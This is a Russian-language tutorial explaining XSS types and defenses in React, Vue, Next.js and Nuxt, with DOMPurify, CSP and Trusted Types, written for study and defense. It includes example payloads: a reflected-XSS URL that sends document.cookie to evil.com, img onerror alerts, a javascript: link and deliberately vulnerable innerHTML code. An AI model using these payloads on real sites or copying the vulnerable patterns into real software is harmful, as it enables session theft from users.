XSS: анатомия атаки и методы защиты
XSS (Cross-Site Scripting) — класс атак, при которых злоумышленник внедряет исполняемый код в страницу жертвы. Уязвимость существует почти 30 лет и по-прежнему в OWASP Top 10: каждый ввод, каждое innerHTML, каждый rich-text редактор — потенциальный вектор. Статья разбирает механику типов XSS, чем экранирование отличается от санитизации, где заканчивается защита React и Vue, и как Trusted Types закрывают последние DOM-based уязвимости.
Содержание
- Что такое XSS на самом деле
- Три классических типа XSS
- Менее очевидные варианты: DOM-based, mutation и mXSS
- Почему XSS не умирает: эволюция векторов
- Экранирование vs санитизация vs валидация
- Как React защищает от XSS и где его защита заканчивается
- Как Vue защищает от XSS и где его защита заканчивается
- SSR в Next.js и Nuxt: специфические риски
- Trusted Types: последний рубеж
- Практический чек-лист защиты от XSS
- Термины, которые должен знать фронтендер
- Ключевые тезисы для интервью
- Заключение
- Полезные ссылки
Что такое XSS на самом деле
XSS (Cross-Site Scripting) — это атака, при которой злоумышленник внедряет исполняемый код в страницу, которую просматривает жертва. Несмотря на название, «cross-site» сегодня — скорее исторический артефакт: атака может работать и внутри одного сайта, если в нём есть уязвимость.
Проще всего думать о XSS так: браузер — это исполнительный механизм, который не различает «хороший» и «плохой» JavaScript. Он выполняет всё, что видит в HTML, если только что-то явно не запрещает это сделать. XSS использует эту особенность против пользователя.
Аналогия: представьте кофейню, где бариста слепо выполняет любую запись, оставленную на стикере. Обычный клиент пишет «латте без сахара». Злоумышленник оставляет стикер: «дать латте и передать ключ от кассы человеку в красной куртке». Если бариста не проверяет, чья это запись и можно ли её выполнять, кофейня ограблена.
В вебе «стикер» — это пользовательский ввод, попавший в HTML, а «бариста» — браузер.
Три классических типа XSS
Reflected XSS (отражённый)
Вредоносный код приходит в HTTP-запросе и тут же возвращается сервером в ответе. Классический пример — поисковая строка.
https://example.com/search?q=<script>fetch('https://evil.com/?c='+document.cookie)</script>
Если сервер вставляет q в HTML без экранирования, браузер выполнит скрипт. Злоумышленник обычно заманивает жертву на такой URL через фишинг, email, QR-код или сообщение в мессенджере.
Почему работает: браузер доверяет ответу сервера. Если сервер отдаёт <script>, браузер считает, что так и было задумано.
Stored XSS (хранимый)
Вредоносный код сохраняется на сервере — в базе данных, файле, кэше, комментарии, профиле пользователя. Затем он показывается всем, кто открывает заражённую страницу.
Это самый опасный тип, потому что:
- один внедрённый скрипт поражает тысячи пользователей;
- не требуется социальная инженерия для каждой жертвы;
- скрипт может долго оставаться незамеченным.
Исторический пример: 2005-й год, MySpace. Пользователь Samy использовал stored XSS, чтобы добавить в профили других пользователей строку «but most of all, samy is my hero». За 20 часов его профиль просмотрели более миллиона раз. Это была не кража данных, но демонстрация масштаба.
DOM-based XSS
Сервер здесь может быть ни при чём. Вредоносный код выполняется на клиенте, когда JavaScript берёт данные из URL, localStorage, postMessage или другого источника и вставляет их в DOM.
// ❌ Уязвимый код
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Hello, ${name}`;
// Атака: ?name=<img src=x onerror=alert(document.cookie)>
Почему опасно: такой XSS не видно в ответе сервера. Сканеры, проверяющие только HTTP-ответ, его пропустят. Он живёт полностью в клиентском коде.
Менее очевидные варианты: DOM-based, mutation и mXSS
Mutation XSS (mXSS)
Браузер может изменить HTML после того, как его обработает санитайзер. Злоумышленник использует различия в парсинге между санитайзером и браузером.
Пример (упрощённый):
<!-- Санитайзер видит это как безопасный текст -->
<img src=x onerror=alert(1)>
<!-- Но если браузер интерпретирует innerHTML определённым образом,
последовательность может превратиться в работающий тег -->
mXSS — напоминание о том, что писать собственный санитайзер почти всегда плохая идея. Доверяйте проверенным библиотекам вроде DOMPurify, которые обновляются под новые векторы.
Self-XSS
Злоумышленник убеждает пользователя вставить вредоносный код в консоль разработчика. Например: «Скопируй этот код, чтобы получить бесплатную подписку». Технически это не уязвимость приложения, но реальная угроза, особенно для социальных сетей и игр.
Blind XSS
Вредоносный код сохраняется в админ-панели или системе логирования, куда жертва-администратор заходит позже. Пример: обратная связь, которая отображается только в панели поддержки. Злоумышленник не видит результат сразу — отсюда «blind».
Почему XSS не умирает: эволюция векторов
XSS существует почти 30 лет, но остаётся в OWASP Top 10. Почему?
- Каждый ввод — потенциальная дыра. Формы, URL-параметры, заголовки, cookies,
postMessage, WebSocket, загружаемые файлы, QR-коды — всё это может стать вектором. - Современные приложения сложные. Рич-текст, markdown, виджеты, third-party скрипты, аналитика, A/B-тесты — каждая интеграция увеличивает поверхность атаки.
- Защита фреймворков не абсолютна. React и Vue экранируют текст, но не могут контролировать
dangerouslySetInnerHTML,v-html, refs, сторонние библиотеки. - XSS часто оказывается побочным эффектом. Разработчик добавляет WYSIWYG-редактор, забывает про санитизацию — и уязвимость готова.
Экранирование vs санитизация vs валидация
Эти три термина часто путают, но они решают разные задачи.
Экранирование (escaping)
Превращение спецсимволов в безопасные HTML-сущности.
< → <
> → >
" → "
' → '
& → &
Экранирование говорит браузеру: «это текст, не интерпретируй его как разметку». React и Vue делают это автоматически для текстовых вставок.
Санитизация (sanitization)
Удаление или нейтрализация опасных частей HTML, когда вам нужно позволить некоторую разметку. Например, в редакторе статьи пользователь может использовать <b>, <i>, <a>, но не <script>.
Санитизация работает по принципу белого списка: разрешено только то, что явно указано как безопасное.
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href'],
});
Валидация (validation)
Проверка, что данные соответствуют ожидаемому формату. Например, ID пользователя должен быть UUID, email — email, возраст — число.
Валидация не заменяет экранирование и санитизацию. Она лишь сужает множество возможных входных данных.
Простое правило
- Экранируй текст, который должен отображаться как текст.
- Санитизируй HTML, который должен рендериться как HTML.
- Валидируй любые данные, поступающие с клиента на сервер.
Как React защищает от XSS и где его защита заканчивается
React был спроектирован с учётом XSS. JSX автоматически экранирует значения, вставленные в фигурные скобки.
function Comment({ text }) {
// text = "<script>alert(1)</script>"
return <div>{text}</div>;
// Результат: <div><script>alert(1)</script></div>
}
React использует textContent вместо innerHTML, поэтому браузер не интерпретирует теги.
Где защита React не работает
1. dangerouslySetInnerHTML
// ❌ Опасно без санитизации
<div dangerouslySetInnerHTML={{ __html: userHtml }} />
Название не случайно — это преднамеренный обход защиты. Используйте только с санитайзером и доверенным контентом.
2. URL-атрибуты
React экранирует значения атрибутов, но не проверяет протоколы.
// Пользователь ввёл: javascript:alert(1)
<a href={userUrl}>link</a>
// При клике выполнится JavaScript
Защита:
function SafeLink({ href, children }) {
const isSafe = /^https?:\/\//.test(href) || href.startsWith('/');
return isSafe ? <a href={href}>{children}</a> : <span>{children}</span>;
}
3. Прямой доступ к DOM через refs
useEffect(() => {
ref.current.innerHTML = userInput; // ❌ XSS
}, [userInput]);
4. Сторонние библиотеки
Markdown-парсеры, rich-text редакторы, библиотеки для графиков могут вставлять HTML. Всегда проверяйте, санитизируют ли они вывод.
5. Server Components и передача данных клиенту
В Next.js Server Component может получить из базы больше данных, чем нужно клиенту. Если эти данные передаются в Client Component, они попадают в JS-бандл и становятся видны. Это не XSS, но связанный риск: меньше данных — меньше поверхность атаки.
Как Vue защищает от XSS и где его защита заканчивается
Vue использует текстовые интерполяции {{ }}, которые автоматически экранируют HTML.
<template>
<div>{{ userComment }}</div>
</template>
Если userComment содержит <script>, Vue отрендерит его как текст.
Защита Vue заканчивается там, где разработчик обходит её вручную: v-html, динамические URL в :href/:src, innerHTML в хуках жизненного цикла, render-функции и JSX.
Подробные разборы: Безопасность React, Безопасность Vue.
SSR в Next.js и Nuxt: специфические риски
Server-Side Rendering меняет картину XSS: вредоносный код может попасть в HTML, который сервер отправляет клиенту, ещё до гидратации.
- В Next.js App Router Server Components рендерятся на сервере, и JSX-экранирование работает и там. Но
dangerouslySetInnerHTMLв Server Component несёт такой же риск, как на клиенте, а Pages Router сgetServerSidePropsсериализует данные в HTML — риск stored XSS. - В Nuxt
v-htmlработает и в SSR-контексте, поэтому опасен вдвойне: вредоносный код попадает в исходный HTML, который индексируется и выполняется мгновенно.
Подробные разборы: Безопасность Next.js, Безопасность Nuxt.
Trusted Types: последний рубеж
Trusted Types — это браузерный API, который требует, чтобы опасные DOM-операции получали специальные «доверенные» объекты вместо строк.
// Без Trusted Types: строка напрямую
element.innerHTML = userInput;
// С Trusted Types: нужен специальный объект
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
element.innerHTML = policy.createHTML(userInput);
Если включить Trusted Types через CSP и попытаться вставить строку в innerHTML, браузер выбросит ошибку TypeError. Это защищает от многих DOM-based XSS, потому что разработчик вынужден явно санитизировать данные.
Поддержка: Chrome, Edge, Opera. Firefox и Safari пока не поддерживают. Trusted Types часто используют внутри Google, и идея постепенно распространяется.
Практический чек-лист защиты от XSS
В коде
- Всегда предпочитайте текстовые вставки (
{text}в React,{{ text }}в Vue) вместо HTML. - Используйте
dangerouslySetInnerHTML/v-htmlтолько с проверенным санитайзером (DOMPurify). - Валидируйте и нормализуйте URL в
href/src. - Избегайте прямого
innerHTMLчерез refs. - Проверяйте, санитизируют ли сторонние библиотеки HTML (markdown, rich-text, графики).
- Используйте
textContentвместоinnerHTML, когда нужен только текст.
В архитектуре
- Настройте CSP с
script-src 'self'и nonce/hash для inline-скриптов. - Включите Trusted Types там, где это возможно.
- Храните сессионные токены в HttpOnly cookies, а не в
localStorage. - Разделяйте данные: передавайте клиенту только необходимые поля.
- Проверяйте вывод сканеров (Snyk, OWASP ZAP, Burp Suite) и исправляйте находки.
В процессах
- Регулярно обновляйте зависимости.
- Добавьте security-линтеры (
eslint-plugin-security,eslint-plugin-no-unsanitized). - Проводите code review с фокусом на места, где пользовательский ввод попадает в DOM.
Термины, которые должен знать фронтендер
| Термин | Значение |
|---|---|
| XSS | Внедрение исполняемого кода в страницу |
| Reflected XSS | Код приходит в запросе и сразу возвращается сервером |
| Stored XSS | Код сохраняется на сервере и показывается многим пользователям |
| DOM-based XSS | Код выполняется только на клиенте, без участия сервера |
| mXSS | Атака, использующая различия в парсинге HTML между санитайзером и браузером |
| Self-XSS | Пользователь сам вставляет вредоносный код в консоль |
| Escaping | Замена спецсимволов на HTML-сущности |
| Sanitization | Удаление опасных частей HTML по белому списку |
| Validation | Проверка формата и типа данных |
| CSP | Content Security Policy — политика загрузки ресурсов |
| Trusted Types | Браузерный API для контроля над опасными DOM-операциями |
| HttpOnly cookie | Cookie, недоступный из JavaScript |
| Sink | «Точка приёма» опасных данных: innerHTML, eval, document.write |
| Source | Источник недоверенных данных: URL, форма, localStorage, postMessage |
Ключевые тезисы для интервью
- XSS — класс атак: reflected (в HTTP-запросе), stored (сохраняется на сервере, поражает всех), DOM-based (полностью на клиенте); mutation XSS использует различия в парсинге HTML.
- Экранирование, санитизация и валидация решают разные задачи: экранируй текст, санитизируй HTML, валидируй формат; санитайзер писать самому нельзя — используйте DOMPurify.
- React и Vue автоматически экранируют текстовые вставки, но не защищают от
dangerouslySetInnerHTML/v-html,javascript:URL и прямого доступа к DOM через refs. - SSR (Next.js, Nuxt) увеличивает риск: stored XSS попадает в исходный HTML ещё до гидратации; CSP — вторая линия обороны,
script-src 'self'с nonce блокирует выполнение вредоносного кода. - Trusted Types требуют «доверенные» объекты вместо строк для
innerHTML, полностью закрывая DOM-based XSS; токены сессии храните в HttpOnly cookies, а не вlocalStorage— XSS не сможет их прочитать. - Sources (URL, form,
postMessage) и sinks (innerHTML,eval,document.write) — ключевые точки для code review и аудита.
Заключение
XSS — не одна уязвимость, а целый класс атак с разными точками входа и разной механикой. Современные фреймворки закрывают самые очевидные векторы через автоматическое экранирование, но не могут защитить от неосмотрительного использования v-html, dangerouslySetInnerHTML, innerHTML через refs или сторонних библиотек с внутренними уязвимостями. Лучшая защита многослойна: экранирование на уровне фреймворка, санитизация через DOMPurify при необходимости, CSP как вторая линия обороны, Trusted Types для DOM-операций и регулярный аудит кода с фокусом на sources и sinks.